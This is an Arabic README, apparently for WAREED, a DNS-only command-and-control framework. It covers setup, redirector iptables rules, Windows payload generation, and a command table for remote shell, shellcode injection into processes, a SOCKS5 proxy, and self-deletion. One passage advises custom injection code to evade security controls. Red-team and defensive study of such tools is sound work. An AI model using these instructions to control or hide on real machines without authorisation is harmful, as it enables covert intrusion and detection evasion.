
إطار عمل للقيادة والتحكم (C2) يعمل عبر DNS فقط، مع وكيل لنظام Windows، وتوليد الحمولات، وتنفيذ شل عن بُعد، وحقن شيل كود، ودعم وكيل SOCKS5 للعمليات الخفية.

WAREED هو إطار تحكم وأوامر (C2) يستخدم بروتوكول DNS للاتصالات الآمنة بين الخادم والهدف. صُمم لتقليل التواصل والحد من تبادل البيانات، وهو مصمم ليكون C2 من المرحلة الأولى للبقاء في الأجهزة التي لا تملك وصولاً إلى الإنترنت عبر HTTP/HTTPS، ولكن يُسمح لها باستخدام DNS.
تم التطوير بواسطة: @Fsalabduljabbar

بينما تدعم العديد من أطر التحكم والأوامر (C2) بروتوكول DNS كبروتوكول نقل، إلا أنها مصممة في الغالب لـ HTTP/HTTPS. غالبًا ما يؤدي نقل هذه الأطر إلى DNS إلى عمليات أبطأ وأقل استقرارًا. ونظرًا للتحديات العديدة مع عدم استقرار هذه الأطر في معاملات DNS، اضطررت إلى إنشاء حل مصمم خصيصًا لـ DNS. والنتيجة هي Wareed—إطار C2 يعمل بـ DNS فقط. هذا التركيز المتخصص يؤدي إلى تشغيل أكثر استقرارًا وكفاءة، مما يجعل Wareed أسرع وأكثر موثوقية مقارنة بأطر C2 التقليدية غير المصممة أساسًا لـ DNS. وهذا يجعل Wareed خيارًا مثاليًا للبيئات التي يُسمح فيها بحركة مرور DNS ولكن يُقيَّد فيها HTTP/HTTPS.
تم تطويره باستخدام ثلاث لغات برمجة:
شرح الأسماء:
Hams (همس) تعني "whisper" (الهمس) باللغة العربية
Wareed (وريد) تعني "vein" (الوريد) باللغة العربية
Ather (أثر) تعني "trace" (الأثر) باللغة العربية
الخطوة 1: استنسخ مستودع Wareed:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
الخطوة 2: شغّل سكربت الإعداد:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
إذا اكتملت عملية الترجمة بنجاح، فسيتم إنشاء ملفين تنفيذيين في نفس الدليل:
كما سيتحقق من حالة ترجمة الوكيل (Agent). وفي حال نجاحها، يؤكد ذلك أن الوكيل جاهز للنشر والتشغيل، وهو أمر بالغ الأهمية لعمل Wareed C2.
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
magic_value: يجب أن يساوي طوله 3.
إعداد DNS: لتشغيل Wareed، من الضروري امتلاك اسم نطاق صالح. بعد الحصول على نطاق، يجب إعداد سجلّي DNS للإشارة إلى المُوجّه (Redirector):

إعداد المُوجّه:
سيتعامل المُوجّه مع حركة مرور DNS الواردة على المنفذ 53 ويعيد توجيهها إلى خادم الفريق. لتحقيق ذلك، نفّذ أوامر iptables التالية على جهاز المُوجّه (R1):
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
يقوم هذا الأمر بتكوين جدار الحماية لقبول حزم UDP الواردة على المنفذ 53، وهو المنفذ القياسي لطلبات DNS.
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
استبدل [TeamServer IP] بعنوان IP الفعلي لخادم فريقك و[teamserver listener port] برقم المنفذ الذي يستمع عليه خادم فريقك. يوجّه هذا الأمر كل حركة المرور الواصلة إلى المنفذ 53 إلى عنوان IP والمنفذ المحددين لخادم الفريق.

لتشغيل خادم Wareed Team لأول مرة، تحتاج إلى تحديد ملف الإعداد بالإضافة إلى كلمة مرور العميل والمنفذ الذي سيستمع عليه العميل. استخدم الأمر التالي لتشغيل خادم Wareed Team:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
لتشغيل عميل Ather بواجهة رسومية، ببساطة
./Ather
عند تشغيل الأمر، ستظهر نافذة جديدة تحتوي على صفحة تسجيل دخول.

بيانات تسجيل الدخول: في صفحة تسجيل الدخول التي تظهر:
النافذة الرئيسية لـ Wareed:

لإنشاء حمولة جديدة باستخدام عميل Ather بواجهة رسومية، اتبع الخطوات التالية:
الانتقال إلى إنشاء الحمولة:
Payload > Generate > Windows. سيؤدي تحديد هذا الخيار إلى فتح نافذة جديدة مخصصة لإنشاء الحمولة.
بعد إنشاء حمولة جديدة، يتم تسجيل جلسة ضيف جديدة تلقائيًا لدى خادم الفريق. تضمن عملية التسجيل هذه أن هذه الجلسة المحددة فقط هي التي يمكنها الاتصال بخادم الفريق. تستخدم معرّفًا فريدًا و'قيمة سحرية' للمصادقة على الجلسة والسماح بها. تضمن هذه الآلية اتصالًا آمنًا وخاضعًا للتحكم بين الحمولة المنشأة حديثًا وخادم الفريق.

بعد تنفيذ الحمولة على جهاز يعمل بنظام Windows، ستبدأ في إنشاء استعلامات DNS للتسجيل لدى خادم الفريق. وتحدث عملية التسجيل هذه في غضون ثوانٍ، وعادةً ما تتضمن إنشاء ما بين 3 إلى 5 استعلامات DNS.

للتفاعل مع جلسة، ما عليك سوى النقر بزر الماوس الأيمن على الجلسة المطلوبة واختيار "Interact" من قائمة السياق. سيؤدي هذا الإجراء إلى فتح علامة تبويب جديدة تعرض واجهة طرفية. في هذه الوحدة الطرفية، يمكنك تنفيذ الأوامر

ملاحظة: أمر
injectمباشر لكنه غالبًا ما يتم اكتشافه بواسطة الضوابط الأمنية. لتعزيز التخفي، يجب عليك تنفيذ تقنية الحقن الخاصة بك. عدّل كود الحقن فيAgent/Source/Core/Tasks/Modules/Injection.c. إليك قالب أساسي لتخصيص دالة الحقن:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
لتنظيف قاعدة البيانات، ما عليك سوى تنفيذ الأمر التالي في الطرفية:
./Run clean
على الرغم من عدم وجود خطط فورية لدي لمواصلة استثمار الوقت في مشروع Wareed، فقد كانت رحلة تعلّم مذهلة واستمتعت بها تمامًا. يسعدني أن أعلن أنني أخطط لإطلاق مشروع رئيسي جديد، THAWD BAS. لمزيد من المعلومات، يرجى زيارة Thawd.io.
إذا كانت لديك مهارات تطوير وترغب في المساهمة في Wareed، فإليك بعض الفرص:
لم يكن بالإمكان إنجاز هذا العمل دون مساهمة العديد من المشاريع مفتوحة المصدر المتميزة:
DNSStager بواسطة - @mohammadaskar2
Boomerang بواسطة - @NinjaParanoid
Socks5Server بواسطة earthquake
delete-self-poc بواسطة - @LloydLabs
| الأمر | الوصف | الاستخدام | المثال |
|---|
| help | يعرض رسالة المساعدة لأمر محدد | [command] | help shell |
| sleep | يضبط التأخير مع الجتر | [delay] [jitter] | sleep 10 50 |
| shell | ينفذ أوامر cmd.exe ويعيد الناتج | [commands] | shell dir c:\windows\system32 (من فضلك لا تفعلها) |
| inject | يحقن شيل كود في عملية بعيدة | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | يبدأ بروكسي SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | يوقف بروكسي SOCKS5 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | يضيف نطاق اتصال جديد | [domain_name] | adddomain example.com |
| deldomain | يحذف نطاق اتصال | [domain_name] | deldomain example.com |
| listdomain | يعرض جميع نطاقات الاتصال النشطة | listdomain | |
| kill | ينهي العملية الحالية. | [yes] | kill yes |
| wipe | ينهي ويحذف العملية الحالية. | [yes] | wipe yes |
| selfdel | يحذف العملية الحالية من القرص. | [yes] | selfdel yes |
| tasklist | يعرض جميع المهام المجدولة | tasklist | |
| taskdel | يحذف مهمة محددة بواسطة المعرّف | [task id] | taskdel 123 |
| tasksclean | يحذف جميع المهام في قائمة الانتظار | [yes] | tasksclean yes |
| clear | يمسح شاشة الطرفية | clear |